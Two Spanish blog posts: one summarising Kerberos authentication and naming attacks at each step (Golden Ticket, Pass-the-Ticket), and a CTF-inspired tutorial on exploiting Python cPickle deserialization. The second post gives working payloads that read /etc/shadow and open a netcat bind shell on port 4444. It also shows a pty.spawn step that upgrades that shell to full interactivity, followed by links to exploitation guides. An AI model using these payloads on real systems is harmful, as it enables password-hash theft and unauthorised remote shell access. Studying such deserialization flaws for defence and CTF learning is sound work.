miércoles, 24 de julio de 2019

Resumiendo Kerberos


¿Qué es Kerberos?

Informáticamente hablando Kerberos es un protocolo de autenticación cliente-servidor, y quizás su exponente más famoso sea su uso por parte del Directorio Activo de Windows.

Es decir, su funcionamiento gira alrededor de un servidor que autentica al usuario, comprueba y autoriza a ponerse en contacto con los diferentes servidores y equipos cliente, con la intención de hacer uso de los servicios que existen en la red. Pero, y esto es crucial, NO AUTORIZA EL USO DE LOS RECURSOS, eso lo hacen otros protocolos.

En definitiva, Kerberos se utiliza para autenticar usuarios dentro un dominio, con dos intenciones:

1.- Validarse dentro de un dominio.

Esto permitirá al usuario obtener un ticket TGT (Ticket Granting Ticket), que le permitirá moverse por los recursos del dominio y solicitar a posteriori tickets TGS para el servicio al que se quiera acceder. Para lo cual, se deben seguir los siguientes pasos:

1.1.- Petición de autenticación entre el usuario y el controlador de dominio.
 


               Ataques que pueden llevarse a cabo en este punto: Overpass-the-Hash

1.2.- Respuesta del controlador de dominio siempre y cuando la autenticación sea SATISFACTORIA.

NOTA: Esto se determina por parte del controlador de dominio descifrando el timestamp con la clave del usuario que almacena el propio controlador




Ataques que pueden llevarse a cabo en este punto: Golden Ticket

2.- Validarse contra un servicio/recurso interno del dominio.

Esto permitirá al usuario conectarse con un recurso/servicio existente dentro del dominio. Para ello se necesita obtener un ticket TGS (Ticket Granting Service), que le permitirá acceder al recurso solicitado. Para lo cual, se deben seguir los siguientes pasos:

2.1.- Solicitud del ticket TGS al controlador de dominio


Ataques que pueden llevarse a cabo en este punto: Golden Ticket y Pass-the-Ticket
 
2.2.- Respuesta del controlador de dominio siempre y cuando el ticket TGT enviado sea correcto.


2.3.- Entrega del ticket TGS al servidor que comparte el recurso/servicio



 
A partir de aquí ya se podría acceder al recurso/servicio, eso sí, el servidor de aplicaciones ha debido validar los permisos del usuario.

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.



viernes, 21 de junio de 2019

El pepinillo y el pty



Fui un incrédulo y me arrepiento … los CTF´s ayuda y mucho.

Gracias a ellos, se puede aprender a aprovecharse de ciertas librerías de Python para ganar una shell, más concretamente podemos aprovecharnos de la librería cPickled y de la librería PTY.

La librería cPickled se usa para serializar y deserializar estructuras de objetos, y se instala por defecto al instalar el entorno de Python (Más información). Pero su funcionalidad puede ser utilizada para ejecutar comandos del propio sistema, entre otras cosas.

La ejecución de comandos del sistema es tan simple como ejecutar en el entorno python la siguiente instrucción:

cPickle.loads(“c<librería>\n<función de la librería>\n(S'<comando a ejecutar>'\ntR. '\ntR.”)

Y para muestra, unos botones: 
 
1.- cPickle.loads("cos\nsystem\n(S'cat /etc/shadow | head -n 5'\ntR.'\ntR.")

Es una forma de ejecutar comandos del sistema a través de Python

En este caso se buscan las  contraseñas de un sistema Linux, pero debemos tener en cuenta el usuario que con el que se ha ejecutado el intérprete de Python, y por lo tanto de sus permisos, tal y como se muestra en el ejemplo de la siguiente imagen
 


2.- cPickle.loads("cposix\nsystem\np0\n(S'netcat -c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")

Ejecución de la función: loads, de la librería cPickled

En este caso se busca montar una shell basada en ‘netcat’, que funcione de manera interactiva.

Conexión con la Shell montada sobre el puerto 4444

Con este último ejemplo tenemos un inconveniente, y es que hay ciertos comandos que no pueden ejecutarse correctamente debido a la gestión de la salida por pantalla, incluso habiendo solicitado la interactividad.

Pongamos un ejemplo: tras conectarnos remotamente al puerto 4444, intentamos saltar al puerto 22/TCP (SSH) de la misma máquina. 

No se obtiene respuesta de ningún tipo, mientras que si miramos en nuestro equipo (Shell donde se estaba trabajando con el intérprete de Python) la respuesta/error aparecerá, informándonos de la falta de interactividad.

Ejecución del comando: ssh

Respuesta/Error obtenido.

Este problemilla se puede resolver mediante la librería de python: PTY

Esta librería define las operaciones para manejar el concepto de pseudo-terminal: iniciar otro proceso y poder escribir/leer desde su terminal de control mediante programación (Más información), y se instala por defecto al instalar el entorno de Python.

IMPORTANTE: Esta librería sólo funciona bajo sistemas Linux.

Por lo tanto, para salir de un entorno Python y ganar una Shell que nos permita ejecutar comandos del sistema, sólo deberemos lanzar la siguiente instrucción:

Import pty; pty spawn (“/bin/bash”) 

 Ganamos una shell totalmente interactiva.

Como se puede observar, la petición del comando: ssh root@127.0.0.1”, ya no nos dará el error: “Pseudo-terminal will not be allocated because stdin is not a terminal”, visto anteriormente.

 Petición de comunicación con el puerto 22/TCP (SSH) tras ganar una shell totalmete interactiva

Hasta aquí todo perfecto, pero añadamos ahora como sugerencia, la posibilidad de usar la combinación de ambas librerías para abrir un shell remota, real y totalmente interactiva. Para ello debemos:

1.- Ejecutar en el entorno python: cPickle.loads("cposix\nsystem\np0\n(S'netcat -c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")


2.- Conectarnos a través de: nc 127.0.0.1 4444 

3.- Ejecutar: python –c “import pty; pty.spawn(‘/bin/bash’)” 


4.- La imaginación al poder.

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

ENLACES DE INTERES

En referencia a la librería cPickled:

• https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html 
• https://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/ 
• https://blog.nelhage.com/2011/03/exploiting-pickle/ • https://lincolnloop.com/blog/playing-pickle-security/ 
• https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd 
• https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14 

 En referencia a otras maneras de conseguir una shell interactiva

• https://netsec.ws/?p=337 

En referencia a la personalización de la shell interactiva conseguida

• https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2